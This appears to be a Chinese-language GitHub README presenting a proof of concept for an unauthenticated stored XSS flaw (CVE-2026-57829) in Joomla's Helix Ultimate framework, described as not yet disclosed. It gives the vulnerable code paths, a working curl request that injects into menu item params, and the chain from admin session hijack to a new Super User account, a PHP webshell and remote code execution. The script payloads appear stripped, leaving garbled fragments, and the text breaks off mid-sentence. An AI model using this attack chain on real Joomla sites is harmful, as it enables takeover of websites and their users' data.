Is4yev/CVE-2026-57829

GitHub: Is4yev/CVE-2026-57829

该项目是 Joomla Helix Ultimate 框架未授权存储型 XSS 漏洞(CVE-2026-57829)的概念验证工具,演示了从无认证注入到管理员会话劫持的完整攻击链。

Stars: 3 | Forks: 0

# Helix Ultimate Framework — 未授权存储型 XSS (com_ajax) → 管理员会话劫持 → 完全接管账户 **这是本研究文件夹中最具破坏性的发现 — 严重,已完全实现端到端确认。** 与 `helix_ultimate_delete_poc.md` 中仅能删除的漏洞不同,这个漏洞具有一条真实的、可完全破坏网站的攻击路径。 **组件:** JoomShaper Helix Ultimate Framework (`plg_system_helixultimate` + `shaper_helixultimate` 模板) **测试版本:** 2.2.6 (GitHub `JoomShaper/helix-ultimate`, HEAD 2026-07) **作者:** Amin İsayev / Proxima Cyber Security **状态:** 尚未披露,未出现在任何更新日志中。 ## 摘要 `plugins/system/helixultimate/helixultimate.php::onAjaxHelixultimate()` 是一个标准的 Joomla `com_ajax` 插件 事件处理程序 (`index.php?option=com_ajax&plugin=helixultimate&format=json&task=`)。Joomla 核心 `com_ajax` 组件本身**完全不进行任何身份验证** — 这始终是 插件的责任。该处理程序执行任意的静态方法分发: ``` public function onAjaxHelixultimate() { $task = $input->get('task', '', 'STRING'); $namespace = "HelixUltimate\\Framework\\HttpResponse\\"; $class = "Response"; $classMethod = explode('.', $task); if (count($classMethod) === 2) { $class = ucfirst($classMethod[0]); $method = $classMethod[1]; } else { $method = $classMethod[0]; } $class = $namespace . $class; // ... class_exists / method_exists checks ... $response = $class::$method(); // <-- arbitrary no-arg static call, namespace-confined } ``` 命名空间是硬编码的 (`HelixUltimate\Framework\HttpResponse\`),因此这本身并不是一个完全任意的 RCE 利用链 — 但 **`src/HttpResponse/Response.php` 中的每一个公共静态方法都可以被任何人调用,无需授权,且没有任何 CSRF token**。它们都没有调用 `Session::checkToken()` 或 `authorise()`。 这与删除漏洞分析报告中提到的受管理员权限控制的 `Request`/`Platform` 类的入口点完全不同且相互独立 — `com_ajax` 完全绕过了该权限控制。 ## 危险方法:`Response::saveMegaMenuSettings()` ``` public static function saveMegaMenuSettings() { $input = Factory::getApplication()->input; $settings = $input->post->get('settings', [], 'ARRAY'); // attacker-controlled, unsanitized values $itemId = $input->post->get('id', 0, 'INT'); $menu = new SiteMenu; $item = $menu->getItem($itemId); $params = $item->getParams(); $params->set('helixultimatemenulayout', \json_encode($settings)); self::updateMenuItem($itemId, $params); // -> $db->updateObject('#__menu', $data, 'id', true) } ``` 这会将攻击者控制的 JSON 直接写入一个**正在使用且公开的 Joomla 菜单项的 `params`** 列中 — 无需登录,无需 CSRF token,仅需一个 HTTP 请求。 ## 注入点:`overrides/mod_menu/default.php` (真实的、内置的模板代码) 实际分发的 `shaper_helixultimate` 模板的 `html/mod_menu/default.php` 是一个仅有一行代码的垫片: ``` require HelixUltimate\Framework\Platform\HTMLOverride::loadTemplate(); ``` 它解析为 (通过阅读 `HTMLOverride.php` 验证) `plugins/system/helixultimate/overrides/mod_menu/default.php` — 这个文件实际上在**每个页面上为每个访问者**渲染网站的主导航菜单: ``` $layout = \json_decode($itemParams->get('helixultimatemenulayout', '') ?? ""); $helixMenuLayout = new Registry($layout); $customClass = $helixMenuLayout->get('customclass', ''); ... $class .= ' ' . $customClass; ... echo '
  • '; // <-- zero escaping ``` `customclass` — 一个我们通过 `saveMegaMenuSettings()` 完全控制的键 — 被直接拼接到 HTML 属性中,且没有使用 `htmlspecialchars()`。 ## 实时证明 (2026-07-06,Docker: Joomla 5.4.6 + 真实的 `shaper_helixultimate` 模板 + 插件 2.2.6) ``` $ curl -X POST "http://TARGET/index.php?option=com_ajax&plugin=helixultimate&format=json&task=saveMegaMenuSettings" \ --data-urlencode 'settings[customclass]=">' \ --data-urlencode "id=101" {"success":true,"message":null,"messages":null,"data":{"status":true,"data":true}} ``` 根本没有发送任何 CSRF token 字段 — 甚至连删除漏洞所需的那个从主页提取的简单 token 都没有。 提供给**后续每一个访问者**的主页 HTML 结果: ```
  • ">Home
  • ``` 一个真实的、浏览器可执行的 ` ``` 因为浏览器会将它在网站源持有的任何会话 cookie 附加到*任何*同源请求中 — 无论是由哪个标签页或页面触发的 JavaScript — 只要管理员的后端会话 cookie 在该浏览器中查看前端页面时有效,此攻击就会成功。这会创建一个具有攻击者指定凭据的全新 Super User 账户。随后:登录到 `/administrator`,编辑任何模板文件 (或安装一个新模板) 以添加 PHP webshell → 完全实现 RCE。 **为什么这比删除漏洞更具破坏性:** 此处没有“写入内容”的限制 — 此原语写入的是*数据* (JSON 到数据库列中),而不是文件,但该数据*会在每次页面浏览时作为实时 HTML 渲染*,这恰恰是删除漏洞所缺失的“写入”原语。结合标准的 XSS→会话劫持模式,它补齐了删除漏洞无法完成的闭环。 ## 检测 PoC — `helix_ultimate_xss_detect.py` 近乎非破坏性:将一个无害的、惰性的标记字符串 (不含 `